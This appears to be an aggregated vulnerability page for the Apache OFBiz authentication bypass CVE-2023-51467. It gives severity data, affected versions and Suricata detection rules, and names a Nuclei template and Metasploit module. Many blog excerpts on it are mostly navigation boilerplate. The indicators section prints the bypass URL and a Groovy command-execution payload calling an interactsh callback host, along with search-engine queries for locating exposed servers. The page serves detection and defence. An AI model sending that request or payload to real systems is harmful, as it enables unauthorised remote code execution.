CVE-2023-51467
published 2023-12-26CVE-2023-51467: The vulnerability permits attackers to circumvent authentication processes, enabling them to remotely execute arbitrary code
PriorityP193critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
ITWEXPLOITVulnCheck KEVInitial access
Exploited in the wild
EPSS
96.00%
99.9th percentile
The vulnerability permits attackers to circumvent authentication processes, enabling them to remotely execute arbitrary code
Affected
3 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| apache | ofbiz | < 18.12.11 | 18.12.11 |
| apache | ofbiz | — | — |
| apache_software_foundation | apache_ofbiz | < 18.12.11 | 18.12.11 |
Detection & IOCsextracted from sources · hover to see the quote
url/webtools/control/ProgramExport;/?USERNAME=&PASSWORD=&requirePasswordChange=Y
cookieOFBiz.Visitor=
commandgroovyProgram=import+groovy.lang.GroovyShell%3B%0A%0AString+expression+%3D+%22'nslookup+{{interactsh-url}}'.execute()%22%3B%0AGroovyShell+gs+%3D+new+GroovyShell()%3B%0Ags.evaluate(expression)%3B
- →Detect authentication bypass attempts via the requirePasswordChange=Y parameter in POST requests to /webtools/control/ProgramExport ↗
- →Monitor for POST requests to /webtools/control/ProgramExport with empty USERNAME and PASSWORD fields combined with requirePasswordChange=Y as an auth bypass indicator
- →Detect Groovy code execution payloads (groovyProgram parameter) in HTTP request bodies targeting OFBiz endpoints, indicating RCE exploitation
- →Use Shodan/FOFA queries to identify exposed OFBiz instances: html:"OFBiz", http.html:"ofbiz", ofbiz.visitor= (Shodan); app="Apache_OFBiz", body="ofbiz" (FOFA)
- →Exploitation of CVE-2023-51467 leverages the CommonsBeanutils1 gadget chain for deserialization on OFBiz versions up to 18.12.11; monitor for Java deserialization payloads on OFBiz HTTP endpoints ↗
- →Threat actors scanning for CVE-2023-51467 are specifically targeting Confluence servers; correlate OFBiz exploit attempts with subsequent Confluence-related network activity ↗
- →DNS callback to oast.online observed in active exploitation scans; monitor outbound DNS/HTTP from OFBiz servers to oast.online as an indicator of compromise ↗
- ·CVE-2023-51467 is a bypass of the incomplete fix for CVE-2023-49070; systems patched to OFBiz 18.12.10 (which fixed CVE-2023-49070) remain vulnerable and must upgrade to 18.12.11 ↗
- ·OFBiz is embedded in Atlassian JIRA (used by 120,000+ companies); JIRA deployments inherit this vulnerability and must also be assessed ↗
- ·Public PoC exploits are widely available for this CVE, significantly lowering the bar for exploitation; treat all unpatched OFBiz instances as actively targeted ↗
CVSS provenance
nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
vulncheck9.8CRITICAL
vendor_apache9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-9699-fmx5-wvpf: The vulnerability allows attackers to bypass authentication to achieve a simple Server-Side Request Forgery (SSRF)
ghsa_unreviewed·2023-12-26
CVE-2023-51467 GHSA-9699-fmx5-wvpf: The vulnerability allows attackers to bypass authentication to achieve a simple Server-Side Request Forgery (SSRF)
The vulnerability allows attackers to bypass authentication to achieve a simple Server-Side Request Forgery (SSRF)
VulnCheck
Apache OFBiz Server-Side Request Forgery (SSRF)
vulncheck·2023·CVSS 9.8
CVE-2023-51467 [CRITICAL] Apache OFBiz Server-Side Request Forgery (SSRF)
Apache OFBiz Server-Side Request Forgery (SSRF)
The vulnerability permits attackers to circumvent authentication processes, enabling them to remotely execute arbitrary code
Affected: Apache OFBiz
Required Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Exploitation References: https://blog.sonicwall.com/en-us/2023/12/sonicwall-discovers-critical-apache-ofbiz-zero-day-authbiz/; https://dashboard.shadowserver.org/statistics/honeypot/vulnerability/map/?day=2024-01-03&host_type=src&vulnerability=cve-2023-51467; https://dashboard.shadowserver.org/statistics/honeypot/vulnerability/map/?day=2024-01-10&host_type=src&vulnerability=cve-2023-51467; https://dashboard.shadowserver.org/statistics/honey
Apache
Apache ofbiz: CVE-2023-51467
vendor_apache·CVSS 9.8
CVE-2023-51467 [CRITICAL] Apache ofbiz: CVE-2023-51467
Apache ofbiz: CVE-2023-51467
; affected releases before 18.12.11; fixed in 18.12.11 with commits d8b097f , 1dcfa07180
Suricata
ET WEB_SPECIFIC_APPS Apache OFBiz Authentication Bypass (CVE-2023-51467) M2
suricata·2024-01-12·CVSS 9.8
CVE-2023-51467 [CRITICAL] ET WEB_SPECIFIC_APPS Apache OFBiz Authentication Bypass (CVE-2023-51467) M2
ET WEB_SPECIFIC_APPS Apache OFBiz Authentication Bypass (CVE-2023-51467) M2
Rule: alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"ET WEB_SPECIFIC_APPS Apache OFBiz Authentication Bypass (CVE-2023-51467) M2"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/webtools/control/getJSONuiLabelArray/?"; fast_pattern; startswith; content:"USERNAME"; content:"PASSWORD"; content:"requirePasswordChange=Y"; http.request_body; content:"requiredLabels|3d 7b|"; startswith; reference:url,vulncheck.com/blog/ofbiz-cve-2023-51467; reference:url,xz.aliyun.com/t/13211; reference:cve,2023-51467; classtype:trojan-activity; sid:2050070; rev:2; metadata:affected_product Web_Server_Applications, created_at 2024_01_12, cve CVE_2023_51467, deployment Perimeter, deployment Internal, de
Suricata
ET WEB_SPECIFIC_APPS Apache OFBiz Authentication Bypass Vulnerability (CVE-2023-49070)
suricata·2024-01-12·CVSS 9.8
CVE-2023-49070 [CRITICAL] ET WEB_SPECIFIC_APPS Apache OFBiz Authentication Bypass Vulnerability (CVE-2023-49070)
ET WEB_SPECIFIC_APPS Apache OFBiz Authentication Bypass Vulnerability (CVE-2023-49070)
Rule: alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"ET WEB_SPECIFIC_APPS Apache OFBiz Authentication Bypass Vulnerability (CVE-2023-49070)"; flow:established,to_server; http.method; content:"POST"; http.uri; content: "/webtools/control/xmlrpc"; startswith; fast_pattern; content:"/?"; within:3; content:"USERNAME"; content:"PASSWORD"; content:"requirePasswordChange=Y"; http.request_body; content:"|3c 3f|xml version|3d 22|1.0|22 3f 3e|"; startswith; content:"|3c|methodCall|3e|"; within:30; content:"|3c|serializable xmlns|3d 22|http|3a 2f 2f|ws.apache.org/xmlrpc/namespaces/extensions|22 3e|"; within:500; reference:url,attackerkb.com/topics/OitLfY28up/cve-2023-49070?referrer=activityFeed; reference:url
Suricata
ET WEB_SPECIFIC_APPS Apache OFBiz Authentication Bypass (CVE-2023-51467) M1
suricata·2024-01-12·CVSS 9.8
CVE-2023-51467 [CRITICAL] ET WEB_SPECIFIC_APPS Apache OFBiz Authentication Bypass (CVE-2023-51467) M1
ET WEB_SPECIFIC_APPS Apache OFBiz Authentication Bypass (CVE-2023-51467) M1
Rule: alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"ET WEB_SPECIFIC_APPS Apache OFBiz Authentication Bypass (CVE-2023-51467) M1"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/webtools/control/ProgramExport/?"; fast_pattern; startswith; content:"USERNAME"; content:"PASSWORD"; content:"requirePasswordChange=Y"; http.request_body; content:"groovyProgram="; startswith; content:".execute|28 29|"; within:300; reference:url,vulncheck.com/blog/ofbiz-cve-2023-51467; reference:cve,2023-51467; classtype:trojan-activity; sid:2050069; rev:2; metadata:affected_product Web_Server_Applications, created_at 2024_01_12, cve CVE_2023_51467, deployment Perimeter, deployment Internal, deployment SS
Suricata
ET WEB_SPECIFIC_APPS Apache OFBiz Authentication Bypass Vulnerability Check (CVE-2023-51467)
suricata·2024-01-12·CVSS 9.8
CVE-2023-51467 [CRITICAL] ET WEB_SPECIFIC_APPS Apache OFBiz Authentication Bypass Vulnerability Check (CVE-2023-51467)
ET WEB_SPECIFIC_APPS Apache OFBiz Authentication Bypass Vulnerability Check (CVE-2023-51467)
Rule: alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"ET WEB_SPECIFIC_APPS Apache OFBiz Authentication Bypass Vulnerability Check (CVE-2023-51467)"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/webtools/control/ping?"; fast_pattern; startswith; content:"USERNAME"; content:"PASSWORD"; content:"requirePasswordChange=Y"; reference:url,vulncheck.com/blog/ofbiz-cve-2023-51467; reference:cve,2023-51467; classtype:trojan-activity; sid:2050068; rev:2; metadata:affected_product Web_Server_Applications, created_at 2024_01_12, cve CVE_2023_51467, deployment Perimeter, deployment Internal, deployment SSLDecrypt, confidence High, signature_severity Major, tag Description_Gene
Nuclei
Apache OFBiz < 18.12.11 - Remote Code Execution
nuclei·CVSS 9.8
CVE-2023-51467 [CRITICAL] Apache OFBiz < 18.12.11 - Remote Code Execution
Apache OFBiz < 18.12.11 - Remote Code Execution
The vulnerability allows attackers to bypass authentication to achieve a simple Server-Side Request Forgery (SSRF)
Template:
id: CVE-2023-51467
info:
name: Apache OFBiz < 18.12.11 - Remote Code Execution
author: your3cho
severity: critical
description: |
The vulnerability allows attackers to bypass authentication to achieve a simple Server-Side Request Forgery (SSRF)
impact: |
Unauthenticated attackers can bypass authentication and execute arbitrary Groovy code, leading to remote code execution and complete system compromise.
remediation: |
Upgrade Apache OFBiz to version 18.12.11 or later.
reference:
- https://lists.apache.org/thread/9tmf9qyyhgh6m052rhz7lg9vxn390bdv
- https://www.openwall.com/lists/oss-security/2023/12/26/3
- https://twi
Metasploit
Apache OFBiz XML-RPC Java Deserialization
metasploit·CVSS 9.8
CVE-2023-51467 [CRITICAL] Apache OFBiz XML-RPC Java Deserialization
Apache OFBiz XML-RPC Java Deserialization
This module exploits a Java deserialization vulnerability in Apache OFBiz's unauthenticated XML-RPC endpoint /webtools/control/xmlrpc for versions prior to 17.12.01 using the ROME gadget chain. Versions up to 18.12.11 are exploitable utilizing an auth bypass CVE-2023-51467 and use the CommonsBeanutils1 gadget chain. Verified working on 18.12.09, 17.12.01, and 15.12
Zscaler
CVE-2025-24813: Apache Tomcat Vulnerability | ThreatLabz
blogs_zscaler·2025-03-21·CVSS 9.8
[CRITICAL] CVE-2025-24813: Apache Tomcat Vulnerability | ThreatLabz
Provide users with seamless, secure, reliable access to applications and data.
Build and run secure cloud apps, enable zero trust cloud connectivity, and protect workloads from data center to cloud.
Provide zero trust connectivity for IoT and OT devices and secure remote access to OT systems.
Provide zero trust site-to-site connectivity and reliable access to B2B apps for partners.
Industry Report
Zscaler: A Leader in the 2025 Gartner® Magic Quadrant™ for Security Service Edge (SSE)
USE CASES
INDUSTRY & MARKET SOLUTIONS
PARTNERS
TECHNOLOGY PARTNERS
Resource Center
Events & Trainings
Security Research & Services
Tools
Community & Support
CXO REVOLUTIONARIES
Amplifying the voices of real-world digital and zero trust pioneers
Discover how it began and where it’s going
Meet o
Zscaler
CVE-2024-38856 | ThreatLabz
blogs_zscaler·2024-08-12·CVSS 9.1
[CRITICAL] CVE-2024-38856 | ThreatLabz
Provide users with seamless, secure, reliable access to applications and data.
Build and run secure cloud apps, enable zero trust cloud connectivity, and protect workloads from data center to cloud.
Provide zero trust connectivity for IoT and OT devices and secure remote access to OT systems.
Provide zero trust site-to-site connectivity and reliable access to B2B apps for partners.
Industry Report
Zscaler: A Leader in the 2025 Gartner® Magic Quadrant™ for Security Service Edge (SSE)
USE CASES
INDUSTRY & MARKET SOLUTIONS
PARTNERS
TECHNOLOGY PARTNERS
Resource Center
Events & Trainings
Security Research & Services
Tools
Community & Support
CXO REVOLUTIONARIES
Amplifying the voices of real-world digital and zero trust pioneers
Discover how it began and where it’s going
Meet o
Zscaler
CVE-2024-3094 | ThreatLabz
blogs_zscaler·2024-04-01·CVSS 10.0
[CRITICAL] CVE-2024-3094 | ThreatLabz
Provide users with seamless, secure, reliable access to applications and data.
Build and run secure cloud apps, enable zero trust cloud connectivity, and protect workloads from data center to cloud.
Provide zero trust connectivity for IoT and OT devices and secure remote access to OT systems.
Provide zero trust site-to-site connectivity and reliable access to B2B apps for partners.
Industry Report
Zscaler: A Leader in the 2025 Gartner® Magic Quadrant™ for Security Service Edge (SSE)
USE CASES
INDUSTRY & MARKET SOLUTIONS
PARTNERS
TECHNOLOGY PARTNERS
Resource Center
Events & Trainings
Security Research & Services
Tools
Community & Support
CXO REVOLUTIONARIES
Amplifying the voices of real-world digital and zero trust pioneers
Discover how it began and where it’s going
Meet o
Zscaler
CVE-2024-23897 | ThreatLabz
blogs_zscaler·2024-02-06·CVSS 9.8
[CRITICAL] CVE-2024-23897 | ThreatLabz
Provide users with seamless, secure, reliable access to applications and data.
Build and run secure cloud apps, enable zero trust cloud connectivity, and protect workloads from data center to cloud.
Provide zero trust connectivity for IoT and OT devices and secure remote access to OT systems.
Provide zero trust site-to-site connectivity and reliable access to B2B apps for partners.
Industry Report
Zscaler: A Leader in the 2025 Gartner® Magic Quadrant™ for Security Service Edge (SSE)
USE CASES
INDUSTRY & MARKET SOLUTIONS
PARTNERS
TECHNOLOGY PARTNERS
Resource Center
Events & Trainings
Security Research & Services
Tools
Community & Support
CXO REVOLUTIONARIES
Amplifying the voices of real-world digital and zero trust pioneers
Discover how it began and where it’s going
Meet o
Zscaler
Ivanti VPN Vulnerability | ThreatLabz
blogs_zscaler·2024-02-02·CVSS 8.2
[HIGH] Ivanti VPN Vulnerability | ThreatLabz
Provide users with seamless, secure, reliable access to applications and data.
Build and run secure cloud apps, enable zero trust cloud connectivity, and protect workloads from data center to cloud.
Provide zero trust connectivity for IoT and OT devices and secure remote access to OT systems.
Provide zero trust site-to-site connectivity and reliable access to B2B apps for partners.
Industry Report
Zscaler: A Leader in the 2025 Gartner® Magic Quadrant™ for Security Service Edge (SSE)
USE CASES
INDUSTRY & MARKET SOLUTIONS
PARTNERS
TECHNOLOGY PARTNERS
Resource Center
Events & Trainings
Security Research & Services
Tools
Community & Support
CXO REVOLUTIONARIES
Amplifying the voices of real-world digital and zero trust pioneers
Discover how it began and where it’s going
Meet o
Zscaler
Rise in Source IP-Based Authentication Abuse
blogs_zscaler·2024-01-19
Rise in Source IP-Based Authentication Abuse
Provide users with seamless, secure, reliable access to applications and data.
Build and run secure cloud apps, enable zero trust cloud connectivity, and protect workloads from data center to cloud.
Provide zero trust connectivity for IoT and OT devices and secure remote access to OT systems.
Provide zero trust site-to-site connectivity and reliable access to B2B apps for partners.
Industry Report
Zscaler: A Leader in the 2025 Gartner® Magic Quadrant™ for Security Service Edge (SSE)
USE CASES
INDUSTRY & MARKET SOLUTIONS
PARTNERS
TECHNOLOGY PARTNERS
Resource Center
Events & Trainings
Security Research & Services
Tools
Community & Support
CXO REVOLUTIONARIES
Amplifying the voices of real-world digital and zero trust pioneers
Discover how it began and where it’s going
Meet o
Zscaler
DreamBus | ThreatLabz
blogs_zscaler·2024-01-11
DreamBus | ThreatLabz
Provide users with seamless, secure, reliable access to applications and data.
Build and run secure cloud apps, enable zero trust cloud connectivity, and protect workloads from data center to cloud.
Provide zero trust connectivity for IoT and OT devices and secure remote access to OT systems.
Provide zero trust site-to-site connectivity and reliable access to B2B apps for partners.
Industry Report
Zscaler: A Leader in the 2025 Gartner® Magic Quadrant™ for Security Service Edge (SSE)
USE CASES
INDUSTRY & MARKET SOLUTIONS
PARTNERS
TECHNOLOGY PARTNERS
Resource Center
Events & Trainings
Security Research & Services
Tools
Community & Support
CXO REVOLUTIONARIES
Amplifying the voices of real-world digital and zero trust pioneers
Discover how it began and where it’s going
Meet o
Zscaler
CVE-2023-51467 | ThreatLabz
blogs_zscaler·2024-01-08·CVSS 9.8
[CRITICAL] CVE-2023-51467 | ThreatLabz
Provide users with seamless, secure, reliable access to applications and data.
Build and run secure cloud apps, enable zero trust cloud connectivity, and protect workloads from data center to cloud.
Provide zero trust connectivity for IoT and OT devices and secure remote access to OT systems.
Provide zero trust site-to-site connectivity and reliable access to B2B apps for partners.
Industry Report
Zscaler: A Leader in the 2025 Gartner® Magic Quadrant™ for Security Service Edge (SSE)
USE CASES
INDUSTRY & MARKET SOLUTIONS
PARTNERS
TECHNOLOGY PARTNERS
Resource Center
Events & Trainings
Security Research & Services
Tools
Community & Support
CXO REVOLUTIONARIES
Amplifying the voices of real-world digital and zero trust pioneers
Discover how it began and where it’s going
Meet o
Checkpoint
1st January – Threat Intelligence Report
blogs_checkpoint·2024-01-01
CVE-2023-7102 1st January – Threat Intelligence Report
Latest Publications
CPR Podcast Channel
AI Research
Web 3.0 Security
Intelligence Reports
ThreatCloud AI
Threat Intelligence & Research
Zero Day Protection
Sandblast File Analysis
About Us
SUBSCRIBE
2026
2025
2024
2023
2022
2021
2020
2019
2018
2017
2016
## 1st January – Threat Intelligence Report
For the latest discoveries in cyber research for the week of 1st January, please download our Threat_Intelligence Bulletin .
TOP ATTACKS AND BREACHES
The German hospital network Katholische Hospitalvereinigung Ostwestfalen (KHO) has been a victim of cyber-attack that disrupted the systems of hospitals in Bielefeld, Rheda-Wiedenbrück, and Herford. Lockbit ransomware group claimed responsibility for the attack.
Check Point Harmony Endpoint and Threat Emulation provide pro
Bleepingcomputer
Apache OFBiz RCE flaw exploited to find vulnerable Confluence servers
blogs_bleepingcomputer·2023-12-28·CVSS 9.8
[CRITICAL] Apache OFBiz RCE flaw exploited to find vulnerable Confluence servers
## Apache OFBiz RCE flaw exploited to find vulnerable Confluence servers
## Bill Toulas
A critical Apache OFBiz pre-authentication remote code execution vulnerability is being actively exploited using public proof of concept (PoC) exploits.
Apache OFBiz (Open For Business) is an open-source enterprise resource planning system many businesses use for e-commerce inventory and order management, human resources operations, and accounting.
OFBiz is part of Atlassian JIRA, a commercial project management and issue-tracking software used by over 120,000 companies worldwide. Therefore, any flaws in the open-source project are inherited by Atlassian's product.
This authentication bypass flaw is tracked as CVE-2023-49070 and was fixed in OFBiz version 18.12.10, released on December 5, 2023.
Th
Zscaler
CVE-2023-50164 Coverage Advisory | ThreatLabz
blogs_zscaler·2023-12-18·CVSS 9.8
[CRITICAL] CVE-2023-50164 Coverage Advisory | ThreatLabz
Provide users with seamless, secure, reliable access to applications and data.
Build and run secure cloud apps, enable zero trust cloud connectivity, and protect workloads from data center to cloud.
Provide zero trust connectivity for IoT and OT devices and secure remote access to OT systems.
Provide zero trust site-to-site connectivity and reliable access to B2B apps for partners.
Industry Report
Zscaler: A Leader in the 2025 Gartner® Magic Quadrant™ for Security Service Edge (SSE)
USE CASES
INDUSTRY & MARKET SOLUTIONS
PARTNERS
TECHNOLOGY PARTNERS
Resource Center
Events & Trainings
Security Research & Services
Tools
Community & Support
CXO REVOLUTIONARIES
Amplifying the voices of real-world digital and zero trust pioneers
Discover how it began and where it’s going
Meet o
Zscaler
CISO Monthly Roundup, January 2024: Zero day VPN vulnerabilities, DreamBus, ZLoader, Qakbot, and recent security advisories | CXO Revolutionaries
blogs_zscaler·CVSS 4.9
[MEDIUM] CISO Monthly Roundup, January 2024: Zero day VPN vulnerabilities, DreamBus, ZLoader, Qakbot, and recent security advisories | CXO Revolutionaries
EDITOR'S PICK
## CISO Monthly Roundup, January 2024: Zero day VPN vulnerabilities, DreamBus, ZLoader, Qakbot, and recent security advisories
Deepen Desai
Contributor
Zscaler
## Feb 13, 2024
In the latest edition of the CISO Monthly Roundup we examine recent zero day VPN vulnerabilities and offer threat analysis on DreamBus, ZLoader, and Qakbot. We also take a look at recent security advisories and offer our insights.
The CISO Monthly Roundup provides the latest threat research from the ThreatLabz team, along with CISO insights on other cyber-related subjects. Over the past month ThreatLabz has examined Ivanti VPN vulnerabilities, performed a deep dive on Qakbot, analyzed new DreamBus modules, discovered new Zloader capabilities and addressed relevant security advisories.
## Critica
arXiv
Towards Improving IDS Using CTF Events
arxiv_fulltext·2025-01-20
Towards Improving IDS Using CTF Events
Towards Improving Intrusion Detection Systems Using Capture the Flag Events
Towards Improving IDS Using CTF Events
Manuel Kern1 Florian Skopik1 Max Landauer1 Edgar Weippl2
M. Kern et al.
Austrian Institute of Technology, Giefinggasse 4 1210 Vienna
University of Vienna, Universitaetsring 1, 1010 Vienna
## Abstract
In cybersecurity, Intrusion Detection Systems (IDS) serve as a vital defensive layer against adversarial threats. Accurate benchmarking is critical to evaluate and improve IDS effectiveness, yet traditional methodologies face limitations due to their reliance on previously known attack signatures and lack of creativity of automated tests. This paper introduces a novel approach to evaluating IDS through Capture the Flag (CTF) events, specifically designed to uncover weaknesse
https://issues.apache.org/jira/browse/OFBIZ-12873https://lists.apache.org/thread/9tmf9qyyhgh6m052rhz7lg9vxn390bdvhttps://lists.apache.org/thread/oj2s6objhdq72t6g29omqpcbd1wlp48ohttps://ofbiz.apache.org/download.htmlhttps://ofbiz.apache.org/release-notes-18.12.11.htmlhttps://ofbiz.apache.org/security.htmlhttps://www.openwall.com/lists/oss-security/2023/12/26/3https://issues.apache.org/jira/browse/OFBIZ-12873https://lists.apache.org/thread/9tmf9qyyhgh6m052rhz7lg9vxn390bdvhttps://lists.apache.org/thread/oj2s6objhdq72t6g29omqpcbd1wlp48ohttps://ofbiz.apache.org/download.htmlhttps://ofbiz.apache.org/release-notes-18.12.11.htmlhttps://ofbiz.apache.org/security.htmlhttps://www.openwall.com/lists/oss-security/2023/12/26/3https://www.vicarius.io/vsociety/posts/apache-ofbiz-authentication-bypass-vulnerability-cve-2023-49070-and-cve-2023-51467
2023-12-26
Published
Exploited in the wild